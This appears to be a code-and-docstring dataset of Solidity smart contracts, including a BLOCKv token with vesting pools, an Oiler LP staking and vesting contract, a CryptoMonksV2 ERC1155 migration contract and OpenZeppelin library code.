allocations[0x2f09079059b85c11DdA29ed62FF26F99b7469950] = createAllocationEntry(182313562060012760251170355, 0, 36462712412002552050234071, 0); allocations[0x3634acA3cf97dCC40584dB02d53E290b5b4b65FA] = createAllocationEntry(182313562060012760251170355, 0, 36462712412002552050234071, 0); allocations[0x768D9F044b9c8350b041897f08cA77AE871AeF1C] = createAllocationEntry(182313562060012760251170355, 0, 36462712412002552050234071, 0); allocations[0xb96De72d3fee8c7B6c096Ddeab93bf0b3De848c4] = createAllocationEntry(182313562060012760251170355, 0, 36462712412002552050234071, 0); allocations[0x2f97bfD7a479857a9028339Ce2426Fc3C62D96Bd] = createAllocationEntry(182313562060012760251170357, 0, 36462712412002552050234071, 2); } } contract PoolCLock is PoolAllocations { uint256 public constant totalAmount = 911567810300063801255851777; function PoolCLock(ERC20Basic _token) PoolAllocations(_token) { // setup policy maxNumOfPayoutCycles = 5; // 20% * 5 = 100% startDay = now; cyclesStartFrom = 1; // the first payout cycles is released immediately payoutCycleInDays = 180 days; // 20% of tokens will be released every 6 months // allocations allocations[0x0d02A3365dFd745f76225A0119fdD148955f821E] = createAllocationEntry(182313562060012760251170355, 0, 36462712412002552050234071, 0); allocations[0x0deF4A4De337771c22Ac8C8D4b9C5Fec496841A5] = createAllocationEntry(182313562060012760251170355, 0, 36462712412002552050234071, 0); allocations[0x467600367BdBA1d852dbd8C1661a5E6a2Be5F6C8] = createAllocationEntry(182313562060012760251170355, 0, 36462712412002552050234071, 0); allocations[0x92E01739142386E4820eC8ddC3AFfF69de99641a] = createAllocationEntry(182313562060012760251170355, 0, 36462712412002552050234071, 0); allocations[0x1E0a7E0706373d0b76752448ED33cA1E4070753A] = createAllocationEntry(182313562060012760251170357, 0, 36462712412002552050234071, 2); } } contract PoolDLock is PoolAllocations { uint256 public constant totalAmount = 546940686180038280753511066; function PoolDLock(ERC20Basic _token) PoolAllocations(_token) { // setup policy maxNumOfPayoutCycles = 36; // total * .5 / 36 startDay = now + 3 years; // first release date cyclesStartFrom = 0; payoutCycleInDays = 30 days; // 1/36 of tokens will be released every month // allocations allocations[0x4311F6F65B411f546c7DD8841A344614297Dbf62] = createAllocationEntry( 182313562060012760251170355, // total 91156781030006380125585177, // first release 2532132806389066114599588, // next release 10 // the rest ); allocations[0x3b52Ab408cd499A1456af83AC095fCa23C014e0d] = createAllocationEntry( 182313562060012760251170355, // total 91156781030006380125585177, // first release 2532132806389066114599588, // next release 10 // the rest ); allocations[0x728D5312FbbdFBcC1b9582E619f6ceB6412B98E4] = createAllocationEntry( 182313562060012760251170356, // total 91156781030006380125585177, // first release 2532132806389066114599588, // next release 11 // the rest ); } } contract Pausable { event Pause(); event Unpause(); bool public paused = false; address public owner; function Pausable(address _owner) { owner = _owner; } modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev modifier to allow actions only when the contract IS paused */ modifier whenNotPaused() { require(!paused); _; } /** * @dev modifier to allow actions only when the contract IS NOT paused */ modifier whenPaused { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused returns (bool) { paused = true; Pause(); return true; } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused returns (bool) { paused = false; Unpause(); return true; } } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b &gt; 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b &lt;= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c &gt;= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address =&gt; uint256) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) onlyPayloadSize(2) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address =&gt; mapping (address =&gt; uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value &lt;= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) onlyPayloadSize(2) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract BlockvToken is StandardToken, Pausable { string public constant name = &quot;BLOCKv Token&quot;; // Set the token name for display string public constant symbol = &quot;VEE&quot;; // Set the token symbol for display uint8 public constant decimals = 18; // Set the number of decimals for display PoolBLock public poolBLock; PoolCLock public poolCLock; PoolDLock public poolDLock; uint256 public constant totalAmountOfTokens = 3646271241200255205023407108; uint256 public constant amountOfTokensPoolA = 1276194934420089321758192488; uint256 public constant amountOfTokensPoolB = 911567810300063801255851777; uint256 public constant amountOfTokensPoolC = 911567810300063801255851777; uint256 public constant amountOfTokensPoolD = 546940686180038280753511066; // migration address public migrationMaster; address public migrationAgent; uint256 public totalMigrated; event Migrate(address indexed _from, address indexed _to, uint256 _value); /** * @dev BlockvToken Constructor * Runs only on initial contract creation. */ function BlockvToken(address _migrationMaster) Pausable(_migrationMaster) { require(_migrationMaster != 0); migrationMaster = _migrationMaster; totalSupply = totalAmountOfTokens; // Set the total supply balances[msg.sender] = amountOfTokensPoolA; Transfer(0x0, msg.sender, amountOfTokensPoolA); // time-locked tokens poolBLock = new PoolBLock(this); poolCLock = new PoolCLock(this); poolDLock = new PoolDLock(this); balances[poolBLock] = amountOfTokensPoolB; balances[poolCLock] = amountOfTokensPoolC; balances[poolDLock] = amountOfTokensPoolD; Transfer(0x0, poolBLock, amountOfTokensPoolB); Transfer(0x0, poolCLock, amountOfTokensPoolC); Transfer(0x0, poolDLock, amountOfTokensPoolD); } /** * @dev Transfer token for a specified address when not paused * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) whenNotPaused returns (bool) { require(_to != address(0)); require(_to != address(this)); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another when not paused * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) whenNotPaused returns (bool) { require(_to != address(0)); require(_from != _to); require(_to != address(this)); return super.transferFrom(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender when not paused. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused returns (bool) { require(_spender != address(0)); require(_spender != address(this)); return super.approve(_spender, _value); } /** * Token migration support: */ /** * @notice Migrate tokens to the new token contract. * @dev Required state: Operational Migration * @param _value The amount of token to be migrated */ function migrate(uint256 _value) external { require(migrationAgent != 0); require(_value != 0); require(_value &lt;= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); totalMigrated = totalMigrated.add(_value); MigrationAgent(migrationAgent).migrateFrom(msg.sender, _value); Migrate(msg.sender, migrationAgent, _value); } /** * @dev Set address of migration target contract and enable migration process. * @param _agent The address of the MigrationAgent contract */ function setMigrationAgent(address _agent) external { require(_agent != 0); require(migrationAgent == 0); require(msg.sender == migrationMaster); migrationAgent = _agent; } function setMigrationMaster(address _master) external { require(_master != 0); require(msg.sender == migrationMaster); migrationMaster = _master; } }
BlockvToken Constructor Runs only on initial contract creation./ time-locked tokens
function BlockvToken(address _migrationMaster) Pausable(_migrationMaster) { require(_migrationMaster != 0); migrationMaster = _migrationMaster; balances[msg.sender] = amountOfTokensPoolA; Transfer(0x0, msg.sender, amountOfTokensPoolA); poolBLock = new PoolBLock(this); poolCLock = new PoolCLock(this); poolDLock = new PoolDLock(this); balances[poolBLock] = amountOfTokensPoolB; balances[poolCLock] = amountOfTokensPoolC; balances[poolDLock] = amountOfTokensPoolD; Transfer(0x0, poolBLock, amountOfTokensPoolB); Transfer(0x0, poolCLock, amountOfTokensPoolC); Transfer(0x0, poolDLock, amountOfTokensPoolD); }
2,571,607
./full_match/137/0x0a49EbdC20DfBcD90A53b4BA4C74a5DBfb42BECa/sources/contracts/libraries/LimitOrderLibrary.sol
Updates the deposit details of a LimitOrder. _order The LimitOrder to update. _amount The amount of the asset being deposited. _takeDepositFromWallet Boolean indicating whether to make a deposit or unlock the deposited asset. traderBalanceVault The instance of ITraderBalanceVault used for deposit and unlock operations./
function updateDeposit( LimitOrderLibrary.LimitOrder storage _order, uint256 _amount, bool _takeDepositFromWallet, ITraderBalanceVault traderBalanceVault ) public { depositLockOrUnlock( traderBalanceVault, _order.depositAsset, (_amount > _order.depositAmount) ? _amount - _order.depositAmount : _order.depositAmount - _amount, _takeDepositFromWallet, _amount > _order.depositAmount ); _order.depositAmount = _amount; }
4,795,831
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /// @notice Wording below needs to properly represent the legal terms so has to be reviewed /// @notice Comments have been written by the development team and may not represent the actual terms of the contract correctly /// @title Oiler Staking /// @author oiler.network /// @dev that staking contract is fully dependent on the provided reward token and the underlying LP token. /** * @notice Staking contract assumes there is a Staking Program going on until a specified Staking Program End Date. * And there is an amount of Oiler tokens that is gonna be given away to incentivise participation in the Staking Program (called StakingFund). * * During this Program - users commit to lock tokens for some period of time, earning RewardPoints (if they don't unlock prematurely). * RewardPoints multiplier grows linearly with the locking period length (see the formula in calculateStakingRewardPoints() function) * * After the end of the Staking Program - the amount of RewardPoints earned by each user is relatively compared to the total RewardPoints * earned by all staking participants - and the OIL tokens from StakingFund are divided among them accordingly, by their RewardPoints proportions. */ contract Staking { /** * @dev Saving gas by using lower-bit variables to fit the Stake struct into 256bits * * LP Tokens are calculated by this formula: * LP Tokens = sqrt(tokenAmount * e18 * usdcAmount * e6) = * = sqrt(100 000 000 * usdcAmount * e24) = // here 100 000 000 is totalSupply of OIL * = sqrt(usdcAmount * e32) = * = sqrt(usdcAmount) * e16 * * Thus the maximum amount of USDC we can use to not overflow the maximum amount of uint72 (4722 e18) will be: * sqrt(usdcAmount) * e16 < 4722 * e18 * sqrt(usdcAmount) < 472 200 * usdcAmount < 222 972 840 000 * Which is over two hundred trillion dollars - the amount highly improbable at our Uniswap pool as for today * * tokenAmount is limited by LP tokens amount (4722e18 LPs for hundreds of trillions of dollars) (Range: [0 - 4722 e18] - uint72 (max 4722 e18)) * lockingPeriodInBlocks is limited by Staking Program duration (around 700000 blocks) (Range: [1 - 700000] - uint24 (max 16 777 215)) * startBlock is in a typical range of Mainnet, Testnets, local networks blocks range (Range: [0 - 100 000 000] - uint32 (max 4 294 967 295)) * * expectedStakingRewardPoints is limited by: * LP tokens amount * lockingPeriodInBlocks * lockingPeriodInBlocks * which is: * uint72 * uint24 * uint24 = which gives us max uint120, but we use uint128 anyway (Range: [0 - 1.33 e36] - uint128 (max 340 e36)) */ struct Stake { uint72 tokenAmount; // Amount of tokens locked in a stake uint24 lockingPeriodInBlocks; // Arbitrary lock period that will give you a reward uint32 startBlock; // Start of the locking uint128 expectedStakingRewardPoints; // The amount of RewardPoints the stake will earn if not unlocked prematurely } /// @notice Active stakes for each user mapping (address => Stake) public stakes; /// @notice "Reward points" each user earned (would be relative to totalRewardPoints to get the percentage) mapping (address => uint256) public rewardPointsEarned; /// @notice Total "reward points" all users earned uint256 public totalRewardPoints; /// @notice Block when Staking Program ends uint256 immutable public stakingProgramEndsBlock; /// @notice Amount of Staking Bonus Fund (500 000 OIL), Oiler funds must be here, approved and ready to be transferredFrom uint256 immutable public stakingFundAmount; /// @notice Uniswap pool that we accept LP tokens from IERC20 public poolToken; /// @notice Oiler token that will be given as a reward IERC20 immutable public oilerToken; /// @notice The amount of OIL tokens earned, granted to be released during vesting period mapping (address => uint256) public grantedTokens; /// @notice The amount of OIL tokens that were already released during vesting period mapping (address => uint256) public releasedTokens; /// @dev In blocks - should be around 100 days uint256 immutable public vestingDuration; /// @dev Check if poolToken was initialized modifier poolTokenSet() { require(address(poolToken) != address(0x0), "poolToken not set"); _; } /// @dev Owner is used only in setPoolToken() address immutable public owner; /// @dev Used only in setPoolToken() modifier onlyOwner() { require(msg.sender == owner, "Can only be called by owner"); _; } /** * @dev before deploying the stakingFundAddress must have set allowances on behalf of that contract. The address can be predicted basing on the CREATE or CREATE2 opcode. * @param oilerToken_ - address of the token in which rewards will be payed off. * @param stakingDurationInBlocks_ - Number of blocks after which staking will end. * @param stakingFundAmount_ - Amount of tokens to be payed of as rewards. * @param vestingDuration_ - Number of blocks after which OIL tokens earned by staking will be released (duration of Vesting period). * @param owner_ - Owner of the contract (is used to initialize poolToken after it's available). */ constructor(address oilerToken_, uint256 stakingDurationInBlocks_, uint256 stakingFundAmount_, uint256 vestingDuration_, address owner_) { require(owner_ != address(0x0), "Owner address cannot be zero"); owner = owner_; require(oilerToken_ != address(0x0), "oilerToken address cannot be zero"); oilerToken = IERC20(oilerToken_); stakingProgramEndsBlock = block.number + stakingDurationInBlocks_; vestingDuration = vestingDuration_; stakingFundAmount = stakingFundAmount_; } /// @notice Initialize poolToken when OIL<>USDC Uniswap pool is available function setPoolToken(address poolToken_, address stakingFundAddress_) public onlyOwner { require(address(poolToken) == address(0x0), "poolToken was already set"); require(poolToken_ != address(0x0), "poolToken address cannot be zero"); poolToken = IERC20(poolToken_); // Transfer the Staking Bonus Funds from stakingFundAddress here require(IERC20(oilerToken).balanceOf(stakingFundAddress_) >= stakingFundAmount, "StakingFund doesn't have enough OIL balance"); require(IERC20(oilerToken).allowance(stakingFundAddress_, address(this)) >= stakingFundAmount, "StakingFund doesn't have enough allowance"); require(IERC20(oilerToken).transferFrom(stakingFundAddress_, address(this), stakingFundAmount), "TransferFrom of OIL from StakingFund failed"); } /** * @notice Calculates the RewardPoints user will earn for a given tokenAmount locked for a given period * @dev If any parameter is zero - it will fail, thus we save gas on "requires" by not checking in other places * @param tokenAmount_ - Amount of tokens to be stake. * @param lockingPeriodInBlocks_ - Lock duration defined in blocks. */ function calculateStakingRewardPoints(uint72 tokenAmount_, uint24 lockingPeriodInBlocks_) public pure returns (uint128) { // // / \ // stakingRewardPoints = ( tokenAmount * lockingPeriodInBlocks ) * lockingPeriodInBlocks // \ / // uint256 stakingRewardPoints = uint256(tokenAmount_) * uint256(lockingPeriodInBlocks_) * uint256(lockingPeriodInBlocks_); require(stakingRewardPoints > 0, "Neither tokenAmount nor lockingPeriod couldn't be 0"); return uint128(stakingRewardPoints); } /** * @notice Lock the LP tokens for a specified period of Blocks. * @notice Can only be called before Staking Program ends. * @notice And the locking period can't last longer than the end of Staking Program block. * @param tokenAmount_ - Amount of LP tokens to be locked. * @param lockingPeriodInBlocks_ - locking period duration defined in blocks. */ function lockTokens(uint72 tokenAmount_, uint24 lockingPeriodInBlocks_) public poolTokenSet { // Here we don't check lockingPeriodInBlocks_ for being non-zero, cause its happening in calculateStakingRewardPoints() calculation require(block.number <= stakingProgramEndsBlock - lockingPeriodInBlocks_, "Your lock period exceeds Staking Program duration"); require(stakes[msg.sender].tokenAmount == 0, "Already staking"); // This is a locking reward - will be earned only after the full lock period is over - otherwise not applicable uint128 expectedStakingRewardPoints = calculateStakingRewardPoints(tokenAmount_, lockingPeriodInBlocks_); Stake memory stake = Stake(tokenAmount_, lockingPeriodInBlocks_, uint32(block.number), expectedStakingRewardPoints); stakes[msg.sender] = stake; // We add the rewards initially during locking of tokens, and subtract them later if unlocking is made prematurely // That prevents us from waiting for all users to unlock to distribute the rewards after Staking Program Ends totalRewardPoints += expectedStakingRewardPoints; rewardPointsEarned[msg.sender] += expectedStakingRewardPoints; // We transfer LP tokens from user to this contract, "locking" them // We don't check for allowances or balance cause it's done within the transferFrom() and would only raise gas costs require(poolToken.transferFrom(msg.sender, address(this), tokenAmount_), "TransferFrom of poolTokens failed"); emit StakeLocked(msg.sender, tokenAmount_, lockingPeriodInBlocks_, expectedStakingRewardPoints); } /** * @notice Unlock the tokens and get the reward * @notice This can be called at any time, even after Staking Program end block */ function unlockTokens() public poolTokenSet { Stake memory stake = stakes[msg.sender]; uint256 stakeAmount = stake.tokenAmount; require(stakeAmount != 0, "You don't have a stake to unlock"); require(block.number > stake.startBlock, "You can't withdraw the stake in the same block it was locked"); // Check if the unlock is called prematurely - and subtract the reward if it is the case _punishEarlyWithdrawal(stake); // Zero the Stake - to protect from double-unlocking and to be able to stake again delete stakes[msg.sender]; require(poolToken.transfer(msg.sender, stakeAmount), "Pool token transfer failed"); } /** * @notice If the unlock is called prematurely - we subtract the bonus */ function _punishEarlyWithdrawal(Stake memory stake_) internal { // As any of the locking periods can't be longer than Staking Program end block - this will automatically mean that if called after Staking Program end - all stakes locking periods are over // So no rewards can be manipulated after Staking Program ends if (block.number < (stake_.startBlock + stake_.lockingPeriodInBlocks)) { // lt - cause you can only withdraw at or after startBlock + lockPeriod rewardPointsEarned[msg.sender] -= stake_.expectedStakingRewardPoints; totalRewardPoints -= stake_.expectedStakingRewardPoints; emit StakeUnlockedPrematurely(msg.sender, stake_.tokenAmount, stake_.lockingPeriodInBlocks, block.number - stake_.startBlock); } else { emit StakeUnlocked(msg.sender, stake_.tokenAmount, stake_.lockingPeriodInBlocks, stake_.expectedStakingRewardPoints); } } /** * @notice This can only be called after the Staking Program ended * @dev Which means that all stakes lock periods are already over, and totalRewardPoints value isn't changing anymore - so we can now calculate the percentages of rewards */ function getRewards() public { require(block.number > stakingProgramEndsBlock, "You can only get Rewards after Staking Program ends"); require(stakes[msg.sender].tokenAmount == 0, "You still have a stake locked - please unlock first, don't leave free money here"); require(rewardPointsEarned[msg.sender] > 0, "You don't have any rewardPoints"); // The amount earned is calculated as: // // user RewardPoints earned during Staking Program // amountEarned = stakingFund * ------------------------------------------------------- // total RewardPoints earned by everyone participated // // Division always rounds towards zero in solidity. // And because of this rounding somebody always misses the fractional part of their earnings and gets only integer amount. // Thus the worst thing that can happen is amountEarned becomes 0, and we check for that in _grantTokens() uint256 amountEarned = stakingFundAmount * rewardPointsEarned[msg.sender] / totalRewardPoints; rewardPointsEarned[msg.sender] = 0; // Zero rewardPoints of a user - so this function can be called only once per user _grantTokens(msg.sender, amountEarned); // Grant OIL reward earned by user for future vesting during the Vesting period } ////////////////////////////////////////////////////// // // VESTING PART // ////////////////////////////////////////////////////// /** * @param recipient_ - Recipient of granted tokens * @param amountEarned_ - Amount of tokens earned to be granted */ function _grantTokens(address recipient_, uint256 amountEarned_) internal { require(amountEarned_ > 0, "You didn't earn any integer amount of wei"); require(recipient_ != address(0), "TokenVesting: beneficiary is the zero address"); grantedTokens[recipient_] = amountEarned_; emit RewardGranted(recipient_, amountEarned_); } /// @notice Releases granted tokens function release() public { uint256 releasable = _releasableAmount(msg.sender); require(releasable > 0, "Vesting release: no tokens are due"); releasedTokens[msg.sender] += releasable; require(oilerToken.transfer(msg.sender, releasable), "Reward oilers transfer failed"); emit grantedTokensReleased(msg.sender, releasable); } /// @notice Releasable amount is what is available at a given time minus what was already withdrawn function _releasableAmount(address recipient_) internal view returns (uint256) { return _vestedAmount(recipient_) - releasedTokens[recipient_]; } /** * @notice The output of this function gradually changes from [0.. to ..grantedAmount] while the vesting is going * @param recipient_ - vested tokens recipient * @return vested amount */ function _vestedAmount(address recipient_) internal view returns (uint256) { if (block.number >= stakingProgramEndsBlock + vestingDuration) { // Return the full granted amount if Vesting Period is over return grantedTokens[recipient_]; } else { // Return the proportional amount if Vesting Period is still going return grantedTokens[recipient_] * (block.number - stakingProgramEndsBlock) / vestingDuration; } } event StakeLocked(address recipient, uint256 tokenAmount, uint256 lockingPeriodInBlocks, uint256 expectedStakingRewardPoints); event StakeUnlockedPrematurely(address recipient, uint256 tokenAmount, uint256 lockingPeriodInBlocks, uint256 actualLockingPeriodInBlocks); event StakeUnlocked(address recipient, uint256 tokenAmount, uint256 lockingPeriodInBlocks, uint256 rewardPoints); event RewardGranted(address recipient, uint256 amountEarned); event grantedTokensReleased(address recipient, uint256 amount); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
recipient_ - Recipient of granted tokens amountEarned_ - Amount of tokens earned to be granted/
function _grantTokens(address recipient_, uint256 amountEarned_) internal { require(amountEarned_ > 0, "You didn't earn any integer amount of wei"); require(recipient_ != address(0), "TokenVesting: beneficiary is the zero address"); grantedTokens[recipient_] = amountEarned_; emit RewardGranted(recipient_, amountEarned_); }
10,115,077
//SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; /// @title CryptoMonksV2 /// @notice 1155 for alternative to sequential token ids contract CryptoMonksV2 is ERC1155, Ownable, ReentrancyGuard { /** * @dev Total MONKS **/ uint256 public constant MONKS = 500; /** * @dev Migration Bridge Contract **/ address public BRIDGE; string public BASEURI; mapping(uint256 => uint256) private TOKENIDS; /** * @dev Security to prevent resizing collection **/ uint8 public lockseed = 0; uint256 public migrated; string public name; string public symbol; constructor( address _bridge ) ERC1155("") { BRIDGE = _bridge; name = "CryptoMonksV2"; symbol = "CRYPTOMONKS"; } /** * @dev minting possible only by the migration bridge */ function mintMachine(address _owner, uint256 _tokenId) external returns (uint256) { require(msg.sender == BRIDGE, "Not Bridge"); require(_tokenId > 0 && _tokenId <= MONKS, "Token out of bound"); require(migrated <= MONKS, "Max supply reached"); require(TOKENIDS[_tokenId] == 0, "Exists"); TOKENIDS[_tokenId] = 1; migrated++; _mint(msg.sender, _tokenId, 1, ""); return(1); } /** * @dev seed */ function seed(address[] calldata _address, uint256[] calldata _ids) external onlyOwner { require(lockseed < 2, "Locked"); for (uint256 i = 0; i < _address.length; i++) { TOKENIDS[_ids[i]] = 1; migrated++; lockseed++; _mint(_address[i], _ids[i], 1, ""); } } function setBaseURI(string calldata _baseURI) external onlyOwner { BASEURI = _baseURI; } function uri(uint256 _tokenId) override public view returns (string memory) { return tokenURI(_tokenId); } function contractURI(uint256 _tokenId) public view returns (string memory) { return tokenURI(_tokenId); } function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function tokenURI(uint256 _tokenId) public view returns (string memory) { string[2] memory parts; parts[0] = BASEURI; parts[1] = toString(_tokenId); string memory output = string(abi.encodePacked(parts[0], parts[1])); return output; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use 